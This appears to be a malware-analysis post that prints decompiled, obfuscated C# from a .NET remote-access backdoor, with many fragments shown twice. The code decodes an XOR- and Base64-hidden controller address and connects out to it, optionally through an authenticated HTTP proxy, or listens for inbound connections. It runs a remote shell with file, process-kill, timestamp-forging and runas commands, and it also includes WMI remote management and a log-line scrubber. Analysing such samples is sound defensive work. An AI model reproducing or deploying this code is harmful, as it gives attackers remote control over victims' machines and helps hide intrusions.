So basically still obfuscated on my previous post I have to use another tool which is .Net Reflector.
I verified some of it when I used BinText.
GClass26 class2 = new GClass26(args);
bool flag1 = class2.method_0("f") == "sh";
if (args.Length == 0)
{
string s = "alice'srabbithole";
string str2 = null;
using (MD5CryptoServiceProvider provider = new MD5CryptoServiceProvider())
{
string str5 = BitConverter.ToString(provider.ComputeHash(Encoding.ASCII.GetBytes(s))).Replace("-", "");
string str6 = Class9.smethod_3();
if (!str6.StartsWith(str5))
{
str2 = str6;
}
}
if (str2 != null)
{
byte[] bytes = new byte[2];
byte[] buffer4 = Encoding.ASCII.GetBytes(str2);
bytes[0] = buffer4[0];
bytes[1] = buffer4[1];
byte length = byte.Parse(Encoding.ASCII.GetString(bytes), NumberStyles.HexNumber);
byte[] buffer2 = Convert.FromBase64String(str2.Substring(2, length));
for (int i = 0; i < buffer2.Length; i++)
{
buffer2[i] = (byte) (buffer2[i] ^ 170);
}
string[] strArray = Encoding.ASCII.GetString(buffer2).Split(new char[] { ':' });
RcSlaveSession session2 = new RcSlaveSession(strArray[0], int.Parse(strArray[1]));
if (session2.vmethod_8())
{
session2.vmethod_5();
session2.OnClose += new EventHandler(Class14.smethod_1);
while (!bool_0)
{
Thread.Sleep(0x3e8);
}
}
}
}
if (class2.method_0("iu") != null)
{
if (!GClass33.smethod_2(class2.method_0("iu"), class2.method_0("id"), class2.method_0("ip")))
{
Trace.WriteLine("iu error");
return;
}
Trace.WriteLine(Environment.UserName);
}
if (class2.method_0("f") == "sh")
{
RcSlaveSession session;
if (class2.method_0("x") != null)
{
TcpClient client = new TcpClient(class2.method_0("x"), int.Parse(class2.method_0("y")));
string str3 = string.Format("CONNECT {0}:{1} HTTP/1.0\n", class2.method_0("s"), class2.method_0("p"));
if (class2.method_0("u") != null)
{
str3 = str3 + string.Format("Authorization: Basic {0}\n", Convert.ToBase64String(Encoding.ASCII.GetBytes(class2.method_0("u") + ":" + class2.method_0("w"))));
}
str3 = str3 + "\n";
client.Client.Send(Encoding.ASCII.GetBytes(str3));
byte[] buffer = new byte[client.ReceiveBufferSize];
StringBuilder builder = new StringBuilder();
int count = 0;
long num4 = 0L;
do
{
count = client.Client.Receive(buffer, SocketFlags.None);
num4 += count;
builder.Append(Encoding.UTF8.GetString(buffer, 0, count));
}
while (client.Client.Available > 0);
if (builder.ToString().IndexOf(" 200 ") <= 0)
{
Trace.WriteLine(builder.ToString());
return;
}
session = new RcSlaveSession(client);
}
else if (class2.method_0("l") != null)
{
tcpListener_0 = new TcpListener(IPAddress.Parse("0.0.0.0"), int.Parse(class2.method_0("p")));
tcpListener_0.ExclusiveAddressUse = false;
tcpListener_0.Server.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, 1);
tcpListener_0.Start();
ThreadPool.QueueUserWorkItem(new WaitCallback(Class14.smethod_0));
TcpClient client2 = tcpListener_0.AcceptTcpClient();
if (tcpListener_0 != null)
{
tcpListener_0.Stop();
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
if ((dictionary.Count > 0) && this.bool_2)
{
this.stringBuilder_0.Append(",\"$map\":");
this.method_18(dictionary);
}
this.int_1--;
this.method_13();
this.stringBuilder_0.Append('}');
this.int_1--;
}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
public override bool vmethod_5(GClass40 gclass40_0)
{
if (gclass40_0.string_0 == "mfcnt")
{
base.method_0(string.Format("Remote site has got {0} files.", gclass40_0.string_1));
return true;
}
return base.vmethod_5(gclass40_0);
}
public override bool vmethod_5(GClass40 gclass40_0)
{
if (gclass40_0.string_0 == "mfcnt")
{
base.method_0(string.Format("Remote site has got {0} files.", gclass40_0.string_1));
return true;
}
return base.vmethod_5(gclass40_0);
}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
private void method_13(string string_0)
{
try
{
Process[] processes;
int num2;
Process process;
string str5;
string str6;
string str9;
GClass53 class6;
if (this.gclass52_0 != null)
{
this.gclass52_0.vmethod_2(string_0 + "\n");
return;
}
this.method_22(string.Format(@"{0} [{1}\{2}@{3} {4}]{5} {6}", new object[] { Environment.CurrentDirectory, Environment.UserDomainName, Environment.UserName, Environment.MachineName, DateTime.Now, this.bool_2 ? "#" : "$", string_0 }));
GClass53 class2 = new GClass53(string_0);
string key = class2.method_2();
if (key != null)
{
int num3;
if (Class17.dictionary_0 == null)
{
Dictionary<string, int> dictionary1 = new Dictionary<string, int>(14);
dictionary1.Add("dir", 0);
dictionary1.Add("cd", 1);
dictionary1.Add("md", 2);
dictionary1.Add("del", 3);
dictionary1.Add("copy", 4);
dictionary1.Add("ren", 5);
dictionary1.Add("type", 6);
dictionary1.Add("ps", 7);
dictionary1.Add("kill", 8);
dictionary1.Add("touch", 9);
dictionary1.Add("help", 10);
dictionary1.Add("exit", 11);
dictionary1.Add("", 12);
dictionary1.Add("runas", 13);
Class17.dictionary_0 = dictionary1;
}
if (Class17.dictionary_0.TryGetValue(key, out num3))
{
switch (num3)
{
case 0:
{
this.method_22("");
string str7 = (class2.method_4() != null) ? class2.method_4().Trim(new char[] { ' ', '"' }) : Environment.CurrentDirectory;
this.method_14(str7);
this.method_22("");
return;
}
case 1:
str5 = (class2.method_4() != null) ? class2.method_4().Trim(new char[] { ' ', '"' }) : Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
if (!str5.StartsWith("."))
{
goto Label_0279;
}
str6 = Path.Combine(Environment.CurrentDirectory, str5).ToString();
goto Label_0287;
case 2:
Directory.CreateDirectory(class2.method_4().Trim(new char[] { ' ', '"' }));
return;
case 3:
str9 = class2.method_4().Trim(new char[] { ' ', '"' });
if (!File.Exists(str9))
{
goto Label_030F;
}
File.Delete(str9);
this.method_22("file deleted.");
return;
case 4:
{
GClass53 class3 = new GClass53(class2.method_4());
string sourceFileName = class3.method_2();
string destFileName = class3.method_4().Trim(new char[] { ' ', '"' });
File.Copy(sourceFileName, destFileName, true);
this.method_22("1 file copied.");
return;
}
case 5:
{
GClass53 class4 = new GClass53(class2.method_4());
string str3 = class4.method_2();
string str4 = class4.method_4().Trim(new char[] { ' ', '"' });
File.Move(str3, str4);
this.method_22("1 file renamed.");
return;
}
case 6:
this.method_22(File.ReadAllText(class2.method_4().Trim(new char[] { ' ', '"' })));
return;
case 7:
processes = Process.GetProcesses();
num2 = 0;
goto Label_04A1;
case 8:
Process.GetProcessById(int.Parse(class2.method_4())).Kill();
this.method_22("process killed.");
return;
case 9:
if (class2.method_4() != null)
{
goto Label_04EF;
}
this.method_22(@"touch targetPath -m file.* -r ref\to\some");
return;
case 10:
this.method_22("dir cd md del copy ren type ps kill touch help runas exit");
return;
case 11:
this.method_21();
return;
case 12:
return;
case 13:
if (class2.method_4() != null)
{
goto Label_0575;
}
this.method_22("runas /d domain /u user /p pass [/wp] /e cmdline");
return;
}
}
}
goto Label_05D5;
Label_0279:
str6 = Path.GetFullPath(str5).ToString();
Label_0287:
Environment.CurrentDirectory = str6;
this.method_22(Environment.CurrentDirectory);
return;
Label_030F:
if (Directory.Exists(str9))
{
Directory.Delete(str9);
this.method_22("directory deleted.");
}
else
{
this.method_22("Not found: " + str9);
}
return;
Label_042F:
process = processes[num2];
this.method_22(string.Format("{0}\t{1}\t{2}\t{3}\t{4}\t{5}", new object[] { process.ProcessName, process.Id, process.MainWindowTitle, process.StartInfo.FileName, process.StartInfo.Arguments, process.StartInfo.UserName }));
num2++;
Label_04A1:
if (num2 < processes.Length)
{
goto Label_042F;
}
return;
Label_04EF:
class6 = new GClass53(class2.method_4());
string str10 = class6.method_2();
string str11 = class6.method_10()["r"];
string str12 = class6.method_10()["m"];
new GClass36().method_0(str10, str12, str11);
return;
Label_0575:
this.method_25(class2.method_10()["e"], class2.method_10()["d"], class2.method_10()["u"], class2.method_10()["p"], class2.method_10().ContainsKey("wp"));
return;
Label_05D5:
if ((string_0 != null) && (string_0.Trim() != ""))
{
try
{
GClass42 class5 = GClass41.smethod_2(string_0);
this.gclass52_0 = new GClass52(class5.string_0, class5.string_1);
this.gclass52_0.method_0(new GDelegate14(this.method_18));
this.gclass52_0.method_4(new GDelegate16(this.method_17));
this.gclass52_0.vmethod_0();
}
catch (Exception exception)
{
this.method_22(exception.ToString());
this.gclass52_0 = null;
}
}
}
catch (Exception exception2)
{
if (exception2.Message == "gen error")
{
throw exception2;
}
this.method_23("in SS: \n", exception2);
}
}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
private void method_14(string string_0)
{
if (Directory.Exists(string_0))
{
DirectoryInfo info = new DirectoryInfo(string_0);
this.method_22("Directory of " + info.FullName);
this.method_22("");
foreach (FileData data in GClass20.smethod_0(string_0))
{
if ((data.Attributes & FileAttributes.Directory) == FileAttributes.Directory)
{
this.method_22(this.method_15(data.LastWriteTime, data.Name, data.Attributes.ToString().Substring(0, 3)));
}
else
{
this.method_22(this.method_16(data.LastWriteTime, data.Name, data.Size));
}
}
}
else if (File.Exists(string_0))
{
FileInfo info2 = new FileInfo(string_0);
this.method_22(this.method_16(info2.LastWriteTime, info2.Name, info2.Length));
}
else
{
this.method_22("no such dir/file.");
}
}
private void method_14(string string_0)
{
if (Directory.Exists(string_0))
{
DirectoryInfo info = new DirectoryInfo(string_0);
this.method_22("Directory of " + info.FullName);
this.method_22("");
foreach (FileData data in GClass20.smethod_0(string_0))
{
if ((data.Attributes & FileAttributes.Directory) == FileAttributes.Directory)
{
this.method_22(this.method_15(data.LastWriteTime, data.Name, data.Attributes.ToString().Substring(0, 3)));
}
else
{
this.method_22(this.method_16(data.LastWriteTime, data.Name, data.Size));
}
}
}
else if (File.Exists(string_0))
{
FileInfo info2 = new FileInfo(string_0);
this.method_22(this.method_16(info2.LastWriteTime, info2.Name, info2.Length));
}
else
{
this.method_22("no such dir/file.");
}
}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
public override bool vmethod_11()
{
this.bool_2 = this.method_12();
ThreadPool.QueueUserWorkItem(new WaitCallback(this.method_19), null);
this.method_22("A Simple Shell. More by type help.\n");
return base.vmethod_11();
}
public override bool vmethod_11()
{
this.bool_2 = this.method_12();
ThreadPool.QueueUserWorkItem(new WaitCallback(this.method_19), null);
this.method_22("A Simple Shell. More by type help.\n");
return base.vmethod_11();
}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
public static IEnumerable<FileData> smethod_2(string string_0, string string_1, SearchOption searchOption_0)
{
if (string_0 == null)
{
throw new ArgumentNullException("path");
}
if (string_1 == null)
{
throw new ArgumentNullException("searchPattern");
}
if ((searchOption_0 != SearchOption.TopDirectoryOnly) && (searchOption_0 != SearchOption.AllDirectories))
{
throw new ArgumentOutOfRangeException("searchOption");
}
return new Class2(Path.GetFullPath(string_0), string_1, searchOption_0);
}
public static IEnumerable<FileData> smethod_2(string string_0, string string_1, SearchOption searchOption_0)
{
if (string_0 == null)
{
throw new ArgumentNullException("path");
}
if (string_1 == null)
{
throw new ArgumentNullException("searchPattern");
}
if ((searchOption_0 != SearchOption.TopDirectoryOnly) && (searchOption_0 != SearchOption.AllDirectories))
{
throw new ArgumentOutOfRangeException("searchOption");
}
return new Class2(Path.GetFullPath(string_0), string_1, searchOption_0);
}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
public GClass28(int int_1)
{
if (int_1 < 0)
{
throw new ArgumentException("Semaphore must have a count of at least 0.", "count");
}
this.int_0 = int_1;
}
public GClass28(int int_1)
{
if (int_1 < 0)
{
throw new ArgumentException("Semaphore must have a count of at least 0.", "count");
}
this.int_0 = int_1;
}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
public void method_8(IPEndPoint ipendPoint_1)
{
if (this.socket_0 != null)
{
throw new GException0("Listener has already started. Changing the endpoint is not allowed.");
}
this.ipendPoint_0 = ipendPoint_1;
}
public void method_8(IPEndPoint ipendPoint_1)
{
if (this.socket_0 != null)
{
throw new GException0("Listener has already started. Changing the endpoint is not allowed.");
}
this.ipendPoint_0 = ipendPoint_1;
}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
public void method_9()
{
if (this.ipendPoint_0 == null)
{
throw new GException0("EndPoint not initialized.");
}
if (this.socket_0 != null)
{
throw new GException0("Already listening.");
}
this.socket_0 = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
this.socket_0.Bind(this.ipendPoint_0);
this.socket_0.Listen(this.int_0);
this.socket_0.BeginAccept(new AsyncCallback(this.method_11), null);
}
public void method_9()
{
if (this.ipendPoint_0 == null)
{
throw new GException0("EndPoint not initialized.");
}
if (this.socket_0 != null)
{
throw new GException0("Already listening.");
}
this.socket_0 = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
this.socket_0.Bind(this.ipendPoint_0);
this.socket_0.Listen(this.int_0);
this.socket_0.BeginAccept(new AsyncCallback(this.method_11), null);
}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
private void method_2(string string_0, List<Regex> list_0)
{
Trace.Write("Process " + string_0 + " ...");
try
{
int num2 = 0;
string tempFileName = Path.GetTempFileName();
using (StreamWriter writer = new StreamWriter(tempFileName))
{
using (StreamReader reader = new StreamReader(string_0))
{
string str2;
while ((str2 = reader.ReadLine()) != null)
{
bool flag = false;
using (List<Regex>.Enumerator enumerator = list_0.GetEnumerator())
{
while (enumerator.MoveNext())
{
Regex current = enumerator.Current;
if (current.Match(str2).Success)
{
goto Label_0067;
}
}
goto Label_007A;
Label_0067:
flag = true;
}
Label_007A:
if (flag)
{
num2++;
}
else
{
writer.WriteLine(str2);
}
}
}
}
File.Copy(tempFileName, string_0, true);
File.Delete(tempFileName);
Trace.Write(" (" + num2.ToString() + ")");
Trace.WriteLine(" Success!");
}
catch (Exception exception)
{
Trace.WriteLine(" Error!");
Trace.WriteLine(exception.ToString());
}
}
private void method_2(string string_0, List<Regex> list_0)
{
Trace.Write("Process " + string_0 + " ...");
try
{
int num2 = 0;
string tempFileName = Path.GetTempFileName();
using (StreamWriter writer = new StreamWriter(tempFileName))
{
using (StreamReader reader = new StreamReader(string_0))
{
string str2;
while ((str2 = reader.ReadLine()) != null)
{
bool flag = false;
using (List<Regex>.Enumerator enumerator = list_0.GetEnumerator())
{
while (enumerator.MoveNext())
{
Regex current = enumerator.Current;
if (current.Match(str2).Success)
{
goto Label_0067;
}
}
goto Label_007A;
Label_0067:
flag = true;
}
Label_007A:
if (flag)
{
num2++;
}
else
{
writer.WriteLine(str2);
}
}
}
}
File.Copy(tempFileName, string_0, true);
File.Delete(tempFileName);
Trace.Write(" (" + num2.ToString() + ")");
Trace.WriteLine(" Success!");
}
catch (Exception exception)
{
Trace.WriteLine(" Error!");
Trace.WriteLine(exception.ToString());
}
}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
public override string System.Object.ToString()
{
TimeSpan span = (TimeSpan) (DateTime.Now - this.dateTime_1);
double num = ((double) this.long_0) / span.TotalMilliseconds;
return string.Format("download {0:#,#} at {1:#,#} k/s. Fp {2:#,#}, to {3}", new object[] { this.long_0, num, this.vmethod_16(), this.vmethod_17() });
}
public override string System.Object.ToString()
{
TimeSpan span = (TimeSpan) (DateTime.Now - this.dateTime_1);
double num = ((double) this.long_0) / span.TotalMilliseconds;
return string.Format("download {0:#,#} at {1:#,#} k/s. Fp {2:#,#}, to {3}", new object[] { this.long_0, num, this.vmethod_16(), this.vmethod_17() });
}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
private ManagementScope method_0()
{
string str;
ConnectionOptions options = new ConnectionOptions {
Authentication = AuthenticationLevel.PacketPrivacy
};
if ((this.string_3 != null) && !(this.string_3 == ""))
{
options.Impersonation = ImpersonationLevel.Delegate;
options.Authority = "Kerberos:" + this.string_3;
}
else
{
options.Impersonation = ImpersonationLevel.Impersonate;
}
if (this.string_1 != null)
{
options.Username = this.string_1;
options.Password = this.string_2;
}
options.EnablePrivileges = this.bool_0;
if ((this.string_0 == null) || (this.string_0 == ""))
{
this.string_0 = ".";
}
if ((this.string_0.IndexOf('\\') < 0) && (this.string_0.IndexOf('/') < 0))
{
str = @"\\" + this.string_0 + @"\root\cimv2";
}
else
{
str = this.string_0;
}
ManagementScope scope = new ManagementScope(str, options);
scope.Connect();
return scope;
}
private ManagementScope method_0()
{
string str;
ConnectionOptions options = new ConnectionOptions {
Authentication = AuthenticationLevel.PacketPrivacy
};
if ((this.string_3 != null) && !(this.string_3 == ""))
{
options.Impersonation = ImpersonationLevel.Delegate;
options.Authority = "Kerberos:" + this.string_3;
}
else
{
options.Impersonation = ImpersonationLevel.Impersonate;
}
if (this.string_1 != null)
{
options.Username = this.string_1;
options.Password = this.string_2;
}
options.EnablePrivileges = this.bool_0;
if ((this.string_0 == null) || (this.string_0 == ""))
{
this.string_0 = ".";
}
if ((this.string_0.IndexOf('\\') < 0) && (this.string_0.IndexOf('/') < 0))
{
str = @"\\" + this.string_0 + @"\root\cimv2";
}
else
{
str = this.string_0;
}
ManagementScope scope = new ManagementScope(str, options);
scope.Connect();
return scope;
}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
private void method_16(object object_0, string string_3, string string_4)
{
GClass40 class2;
if (string_3 == "createTcpChannel")
{
class2 = new GClass40(GEnum8.const_25);
}
else
{
class2 = new GClass40(GEnum8.const_18);
}
class2.byte_0 = base.ID;
class2.string_0 = string_3;
class2.string_1 = string_4;
base._parentSession.method_16(this, class2);
}
private void method_16(object object_0, string string_3, string string_4)
{
GClass40 class2;
if (string_3 == "createTcpChannel")
{
class2 = new GClass40(GEnum8.const_25);
}
else
{
class2 = new GClass40(GEnum8.const_18);
}
class2.byte_0 = base.ID;
class2.string_0 = string_3;
class2.string_1 = string_4;
base._parentSession.method_16(this, class2);
}